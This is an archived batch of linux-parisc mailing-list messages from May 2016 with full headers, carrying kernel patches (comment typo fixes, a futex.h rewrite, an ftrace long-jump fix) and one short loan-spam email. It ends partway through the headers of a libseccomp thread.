 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/math-emu/fpu.h b/arch/parisc/math-emu/fpu.h
index 0af5c3c..46eb90e 100644
--- a/arch/parisc/math-emu/fpu.h
+++ b/arch/parisc/math-emu/fpu.h
@@ -63,9 +63,9 @@
 #define EMULATION_VERSION 4
 
 /*
- * The only was to differeniate between TIMEX and ROLEX (or PCX-S and PCX-T)
- * is thorough the potential type field from the PDC_MODEL call.  The 
- * following flags are used at assist this differeniation.
+ * The only was to differentiate between TIMEX and ROLEX (or PCX-S and PCX-T)
+ * is thorough the potential type field from the PDC_MODEL call.  The
+ * following flags are used at assist this differentiation.
  */
 
 #define ROLEX_POTENTIAL_KEY_FLAGS	PDC_MODEL_CPU_KEY_WORD_TO_IO
-- 
2.8.2.534.g1f66975

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0210/1529] Fix typo
Date: Sat, 21 May 2016 14:03:32 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20160521120332.10866-1-andrea.gelmini@gelma.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1463832227 29486 80.91.229.3 (21 May 2016 12:03:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 May 2016 12:03:47 +0000 (UTC)
Cc: trivial@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 21 14:03:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b45d5-0001a3-Em
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 May 2016 14:03:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751975AbcEUMDj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 May 2016 08:03:39 -0400
Original-Received: from mail-lf0-f68.google.com ([209.85.215.68]:35735 "EHLO
	mail-lf0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751641AbcEUMDi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 May 2016 08:03:38 -0400
Original-Received: by mail-lf0-f68.google.com with SMTP id p10so3971420lfb.2
        for <linux-parisc@vger.kernel.org>; Sat, 21 May 2016 05:03:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id;
        bh=yTuq8zBUDpkccvUiLTwBShRGQnNswxWchD97uQqcURw=;
        b=o0aqEDnmmodO3fpZyLtxMpmpfX7jqgdfCC4rIdtALnnmdbk/+n1zahs1ygMJQoWXeL
         ZAmnt3dAkTMzV2+VxcQML3i4awmkBk5sgSCSZa7YyvITCrk6x1qfrKZJCxNSr/EP2ltt
         NqNUzNq4jQa1Ine/xGPpTuMetAN+YEAMc9+uiaPk4s3BpWcGuN50aXKFWFX3hlkVvrUb
         UvcinoYWeNr5XAMTNz/nsFExr2jdNy7PQMearLA+kPY4BO52tb3iI3DWc66nFrT8KBXs
         wdi4rK0HhC93M1gVuVzoNipKZlThCC2gFPLUE/V2JYEntNEKTDzRCfuUKuqxqwBgZWkG
         jnow==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:sender:from:to:cc:subject:date:message-id;
        bh=yTuq8zBUDpkccvUiLTwBShRGQnNswxWchD97uQqcURw=;
        b=Kcskx/vzhK2g8x82l51mlw5JnTEoJEEOm2Ps5bhvApD2XrGF8EauRPrB6aLyRbIR2K
         A28o6sB51iC4dhj/+nqlMpOXusJTYrvQvhn2AP+xliZbBfagMNcyrKtPVrrMAIKNII+F
         ZRgm4uewqfb3lgD9znxczN4ScBfQ3vv3xahmMISlF3sm/Px54HJCWEkiOFIfiJEAuIK0
         95JzXtAftqbnb4vQ5WDHsLErLVart35R8t1vV3dNVpYmSQfX6/rWFCw+yC4A7mrEqBIu
         mAf8458bVRkhfuJ5eNQOuW9Ae7iw3jt3vCZCvgUKnh8kfmQ3uXrvydn/GxsDvINjTx0p
         sB1A==
X-Gm-Message-State: AOPr4FXK20XynF7OpCvutJ5fr6EKIF6W4hd0XWYNMN05Fm6ieQGiZuh/LlCd+4A0BOr5NQ==
X-Received: by 10.25.19.101 with SMTP id j98mr2838684lfi.13.1463832217081;
        Sat, 21 May 2016 05:03:37 -0700 (PDT)
Original-Received: from glen.ipredator.se (anon-35-25.vpn.ipredator.se. [46.246.35.25])
        by smtp.gmail.com with ESMTPSA id sg8sm4089363lbb.28.2016.05.21.05.03.34
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 21 May 2016 05:03:35 -0700 (PDT)
X-Mailer: git-send-email 2.8.2.534.g1f66975
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26777
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26777>

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/math-emu/fpudispatch.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/math-emu/fpudispatch.c b/arch/parisc/math-emu/fpudispatch.c
index 673b73e..18df123 100644
--- a/arch/parisc/math-emu/fpudispatch.c
+++ b/arch/parisc/math-emu/fpudispatch.c
@@ -184,7 +184,7 @@ static void parisc_linux_get_fpu_type(u_int fpregs[])
 
 /*
  * this routine will decode the excepting floating point instruction and
- * call the approiate emulation routine.
+ * call the appropriate emulation routine.
  * It is called by decode_fpu with the following parameters:
  * fpudispatch(current_ir, unimplemented_code, 0, &Fpu_register)
  * where current_ir is the instruction to be emulated,
-- 
2.8.2.534.g1f66975

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH: parisc] Update futex.h
Date: Sat, 21 May 2016 15:03:54 -0400
Lines: 154
Approved: news@gmane.org
Message-ID: <36FADD1C-5A9A-4BF5-832F-4D76944E4D40@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-11-218930213
X-Trace: ger.gmane.org 1463857447 30563 80.91.229.3 (21 May 2016 19:04:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 May 2016 19:04:07 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 21 21:03:59 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b4CBq-00045W-Qm
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 May 2016 21:03:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751354AbcEUTD5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 May 2016 15:03:57 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:55106 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750941AbcEUTD4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 May 2016 15:03:56 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160521190355.OBSA15641.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 21 May 2016 15:03:55 -0400
Original-Received: from [192.168.2.10] (really [70.55.27.210]) by mtlspm02.bell.net
          with ESMTP
          id <20160521190355.CZCV21492.mtlspm02.bell.net@[192.168.2.10]>;
          Sat, 21 May 2016 15:03:55 -0400
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.5740B11B.005D,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26778>


--Apple-Mail-11-218930213
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

The attached patch updates the parisc version of futex.h to match the =
current generic implementation
except for the spinlock code.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
---


--Apple-Mail-11-218930213
Content-Disposition: attachment;
	filename=futex.h.d.txt
Content-Type: text/plain;
	name="futex.h.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/futex.h =
b/arch/parisc/include/asm/futex.h
index 49df148..ac8bd58 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -35,70 +35,57 @@ static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
 	unsigned long int flags;
-	u32 val;
 	int op =3D (encoded_op >> 28) & 7;
 	int cmp =3D (encoded_op >> 24) & 15;
 	int oparg =3D (encoded_op << 8) >> 20;
 	int cmparg =3D (encoded_op << 20) >> 20;
-	int oldval =3D 0, ret;
+	int oldval, ret;
+	u32 tmp;
+
 	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
 		oparg =3D 1 << oparg;
=20
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(*uaddr)))
 		return -EFAULT;
=20
+	_futex_spin_lock_irqsave(uaddr, &flags);
 	pagefault_disable();
=20
-	_futex_spin_lock_irqsave(uaddr, &flags);
+	ret =3D -EFAULT;
+	if (unlikely(get_user(oldval, uaddr) !=3D 0))
+		goto out_pagefault_enable;
+
+	ret =3D 0;
+	tmp =3D oldval;
=20
 	switch (op) {
 	case FUTEX_OP_SET:
-		/* *(int *)UADDR2 =3D OPARG; */
-		ret =3D get_user(oldval, uaddr);
-		if (!ret)
-			ret =3D put_user(oparg, uaddr);
+		tmp =3D oparg;
 		break;
 	case FUTEX_OP_ADD:
-		/* *(int *)UADDR2 +=3D OPARG; */
-		ret =3D get_user(oldval, uaddr);
-		if (!ret) {
-			val =3D oldval + oparg;
-			ret =3D put_user(val, uaddr);
-		}
+		tmp +=3D oparg;
 		break;
 	case FUTEX_OP_OR:
-		/* *(int *)UADDR2 |=3D OPARG; */
-		ret =3D get_user(oldval, uaddr);
-		if (!ret) {
-			val =3D oldval | oparg;
-			ret =3D put_user(val, uaddr);
-		}
+		tmp |=3D oparg;
 		break;
 	case FUTEX_OP_ANDN:
-		/* *(int *)UADDR2 &=3D ~OPARG; */
-		ret =3D get_user(oldval, uaddr);
-		if (!ret) {
-			val =3D oldval & ~oparg;
-			ret =3D put_user(val, uaddr);
-		}
+		tmp &=3D ~oparg;
 		break;
 	case FUTEX_OP_XOR:
-		/* *(int *)UADDR2 ^=3D OPARG; */
-		ret =3D get_user(oldval, uaddr);
-		if (!ret) {
-			val =3D oldval ^ oparg;
-			ret =3D put_user(val, uaddr);
-		}
+		tmp ^=3D oparg;
 		break;
 	default:
 		ret =3D -ENOSYS;
 	}
=20
-	_futex_spin_unlock_irqrestore(uaddr, &flags);
+	if (ret =3D=3D 0 && unlikely(put_user(tmp, uaddr) !=3D 0))
+		ret =3D -EFAULT;
=20
+out_pagefault_enable:
 	pagefault_enable();
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
=20
-	if (!ret) {
+	if (ret =3D=3D 0) {
 		switch (cmp) {
 		case FUTEX_OP_CMP_EQ: ret =3D (oldval =3D=3D cmparg); =
break;
 		case FUTEX_OP_CMP_NE: ret =3D (oldval !=3D cmparg); =
break;
@@ -112,12 +99,10 @@ futex_atomic_op_inuser (int encoded_op, u32 __user =
*uaddr)
 	return ret;
 }
=20
-/* Non-atomic version */
 static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 			      u32 oldval, u32 newval)
 {
-	int ret;
 	u32 val;
 	unsigned long flags;
=20
@@ -137,17 +122,20 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 =
__user *uaddr,
 	 */
=20
 	_futex_spin_lock_irqsave(uaddr, &flags);
+	if (unlikely(get_user(val, uaddr) !=3D 0)) {
+		_futex_spin_unlock_irqrestore(uaddr, &flags);
+		return -EFAULT;
+	}
=20
-	ret =3D get_user(val, uaddr);
-
-	if (!ret && val =3D=3D oldval)
-		ret =3D put_user(newval, uaddr);
+	if (val =3D=3D oldval && unlikely(put_user(newval, uaddr) !=3D =
0)) {
+		_futex_spin_unlock_irqrestore(uaddr, &flags);
+		return -EFAULT;
+	}
=20
 	*uval =3D val;

From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 0209/1529] Fix typo
Date: Sun, 22 May 2016 00:13:03 +0200
Organization: Gentoo Foundation
Lines: 24
Approved: news@gmane.org
Message-ID: <20160522001303.354f02a7@wim.fritz.box>
References: <20160521120322.10812-1-andrea.gelmini@gelma.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1463868803 25695 80.91.229.3 (21 May 2016 22:13:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 May 2016 22:13:23 +0000 (UTC)
Cc: trivial@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Andrea Gelmini <andrea.gelmini@gelma.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 22 00:13:13 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b4F8y-0005fs-7q
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 May 2016 00:13:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751535AbcEUWNL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 May 2016 18:13:11 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:40474 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751514AbcEUWNL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 May 2016 18:13:11 -0400
Original-Received: from wim.fritz.box (jer.xs4all.nl [212.238.182.54])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id B36B1340D5A;
	Sat, 21 May 2016 22:13:08 +0000 (UTC)
In-Reply-To: <20160521120322.10812-1-andrea.gelmini@gelma.net>
X-Mailer: Claws Mail 3.13.2 (GTK+ 2.24.29; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26779
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26779>

On Sat, 21 May 2016 14:03:22 +0200
Andrea Gelmini <andrea.gelmini@gelma.net> wrote:

> + * The only was to differentiate between TIMEX and ROLEX (or PCX-S
> and PCX-T)
> + * is thorough the potential type field from the PDC_MODEL call.  The
> + * following flags are used at assist this differentiation.
>   */

And now it still doesn't make sense.

was -> way
thorough -> through
at assist -> ???



Regards,
     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use long jump to reach ftrace_return_to_handler()
Date: Mon, 23 May 2016 23:23:26 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <20160523212326.GA31962@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464038628 21826 80.91.229.3 (23 May 2016 21:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 May 2016 21:23:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 23 23:23:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b4xK7-0001BJ-RW
	for glpp-linux-parisc@plane.gmane.org; Mon, 23 May 2016 23:23:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751769AbcEWVXj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 23 May 2016 17:23:39 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:65502 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751459AbcEWVXi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 23 May 2016 17:23:38 -0400
Original-Received: from p100.box ([92.203.43.81]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MGWR2-1bI6TZ1nhA-00DKgL; Mon, 23 May 2016 23:23:29
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:Q2x9NQJf93ohxlk2p16H0NhzUvGCjAHRm1pEEudpJI3lO0t4mxl
 jG6Y6/hCjmnic45fUmXMLx7acDkbu6W0EUDv+c5v5YVsU8v/MXfz61KK2sbk/RKbI+m6HiW
 WcGvwUzc0+Zuije94czBMsCZQWO5zAaGlA2AiW31nrQoUCmSGdhtrbud/zyH/g6+HoXyGjp
 5iw/VkCKqPb5GefKPOpqA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0vOUt+KLOmU=:MeC2j/LwX4w/z5seMlWTLZ
 G0xoSJHsaNEWa9BJsOrNWTOxeEBwrDxZprOTx8gIrL3PkfDOciFVilByVawN6ZTo5a35h/R9Q
 TG7s9/j+G7jC2lp6S6dZkslFA6AqD3qRZgVVKVjzzVnq+2dLX1Py8g8zxV5kBdJVp2XqAlDeW
 ZtWL+sMNQAqW3iQSLVwRlw8KPEcNKlQ4wLgOX9xetcdAxIqJADVK6oh2S7hgU1H4b2+8Q7Drd
 itkl3LKn9jfhdeO4knRc4zm17EoXZI1JChVtWT6XvufeU5QLwwRxi7EJ7tD+K2KO8AXvAZ37P
 lGl17HDXjml1tE0ZGJTBQa9hk4qRhGOuezN09Al3vVSzHwjHBJjNtn20cxcQEfNiyQ6WaXgcj
 gtd/R6Z9OjLwfo/idnlN3lvLyIh6uzDwcUvDK4Vu8RDfvxw9KLPvmn+bZAbgHQQpPo/0F97NZ
 i+E62QF0xvi3m4rDYEZkNGANAD3nZpVuc7PlCaD4Pq9R++Ob5NU33zy2WSE+OtTNJoBUhPwbR
 naijBpUlqod0QQIxRhAsE8vo0xyaPvLaKPaToYjsUvV6eFyj0lyiGK9ErQbjxP/7NFS1exxDf
 wmdmFspkp/ZwFYTN5HD62L5E1VOcIZrvXj7sl2rz/lBtCa+LMVR+8z1oA/ZFPRVi8qTbo3KU4
 52IttlWaq4K9ivuXoL81gJDGfqn9hEMOMFbZq/Io/cVvK/HdM+8AststuzYxvjKSUvAT59I0X
 3giYGICr/9AcBwKpU5j7Kyb+q/V6V6fa92Q08GCRWdXLCwyrzadca6xwFko=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26780>

Depending on config options we will need to use a long jump to reach
ftrace_return_to_handler().  Additionally only compile the
parisc_return_to_handler code when CONFIG_FUNCTION_GRAPH_TRACER is set.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 2b2b0df..baa3d9d 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -2019,6 +2019,7 @@ ftrace_stub:
 	.procend
 ENDPROC(mcount)
 
+#ifdef CONFIG_FUNCTION_GRAPH_TRACER
 	.align 8
 	.globl return_to_handler
 	.type  return_to_handler, @function
@@ -2040,11 +2041,17 @@ parisc_return_to_handler:
 #endif
 
 	/* call ftrace_return_to_handler(0) */
+	.import ftrace_return_to_handler,code
+	load32 ftrace_return_to_handler,%ret0
+	load32 .Lftrace_ret,%r2
 #ifdef CONFIG_64BIT
 	ldo -16(%sp),%ret1		/* Reference param save area */
+	bve	(%ret0)
+#else
+	bv	%r0(%ret0)
 #endif
-	BL ftrace_return_to_handler,%r2
 	ldi 0,%r26
+.Lftrace_ret:
 	copy %ret0,%rp
 
 	/* restore original return values */
@@ -2062,6 +2069,8 @@ parisc_return_to_handler:
 	.procend
 ENDPROC(return_to_handler)
 
+#endif /* CONFIG_FUNCTION_GRAPH_TRACER */
+
 #endif	/* CONFIG_FUNCTION_TRACER */
 
 #ifdef CONFIG_IRQSTACKS
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michelle Tortora <mtortora@fmschools.org>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Tue, 24 May 2016 10:28:44 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <EFE9FAE62B42F248B86466B3C07C2D88A85E749C@EXCHANGE.Oaktree.FMSchools.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1464086050 5038 80.91.229.3 (24 May 2016 10:34:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 May 2016 10:34:10 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 24 12:34:03 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b59f1-0003As-75
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 May 2016 12:34:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755210AbcEXKeC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 May 2016 06:34:02 -0400
Original-Received: from mail.fmschools.org ([170.158.81.4]:41722 "EHLO
	mail.fmschools.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751741AbcEXKeB convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 May 2016 06:34:01 -0400
X-Greylist: delayed 313 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 May 2016 06:34:01 EDT
Original-Received: from EXCHANGE.Oaktree.FMSchools.org ([fe80::6c0d:a985:f3f5:2ea9]) by
 EXCHANGE.Oaktree.FMSchools.org ([fe80::6c0d:a985:f3f5:2ea9%14]) with mapi id
 14.03.0181.006; Tue, 24 May 2016 06:28:46 -0400
Original-Subject: 
Thread-Index: AdG1pwx2aCaSRedkTm2S5NEWZpbmfQ==
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [116.203.79.0]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26781>





We Give Out Loans For 3% Interest Rate And We Offer Loans From $5,000 To $50,000,000.00, Are You Looking To Buy A House Car Or Company Or Start Up A Truck Company or Buy A Truck Or Personal Loans, Email Us At jerryfunds11@inbox.lv<mailto:jerryfunds11@inbox.lv>  With Amount Needed And Phone Number.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Moore <pmoore@redhat.com>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: Re: Re: [PATCH] libseccomp: Add parisc architecture
 support (v3)
Date: Tue, 24 May 2016 15:09:33 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <CAGH-Kgt=P7wkmBShe5bQ2b=mjQsGAPFfB9fEMxRFT6GTZyu32w@mail.gmail.com>
References: <20160213200731.GA18161@ls3530.box>
	<3673666.V2ZqGazvLY@sifl>
	<56C24911.8000200@gmx.de>
	<1907254.cBdVSxntFv@sifl>
	<20160409070549.GA5442@ls3530.box>
	<CAHC9VhSseu8kLg0W+Ee0bnOiPSKHfGq-zsq-xmrOfMFozohmZA@mail.gmail.com>
	<571103AD.20500@gmx.de>
	<20160415151103.GB11180@ls3530.dhcp.wdf.sap.corp>
	<57251ABF.4080201@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464116985 5616 80.91.229.3 (24 May 2016 19:09:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 May 2016 19:09:45 +0000 (UTC)
Cc: Paul Moore <paul@paul-moore.com>, linux-parisc@vger.kernel.org, 
	James Bottomley <James.Bottomley@hansenpartnership.com>, 
	John David Anglin <dave.anglin@bell.net>, libseccomp@googlegroups.com, 
	Mike Frysinger <vapier@gentoo.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: libseccomp+bncBD5LRTF6QQMRB3ONSK5AKGQE2GZDFDY@googlegroups.com Tue May 24 21:09:34 2016
Return-path: <libseccomp+bncBD5LRTF6QQMRB3ONSK5AKGQE2GZDFDY@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-vk0-f59.google.com ([209.85.213.59])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBD5LRTF6QQMRB3ONSK5AKGQE2GZDFDY@googlegroups.com>)
	id 1b5Hhu-0004rG-Ga
	for gcllg-libseccomp-discuss-2@m.gmane.org; Tue, 24 May 2016 21:09:34 +0200
Original-Received: by mail-vk0-f59.google.com with SMTP id m81sf8873508vka.0
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Tue, 24 May 2016 12:09:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:in-reply-to:references:date:message-id:subject
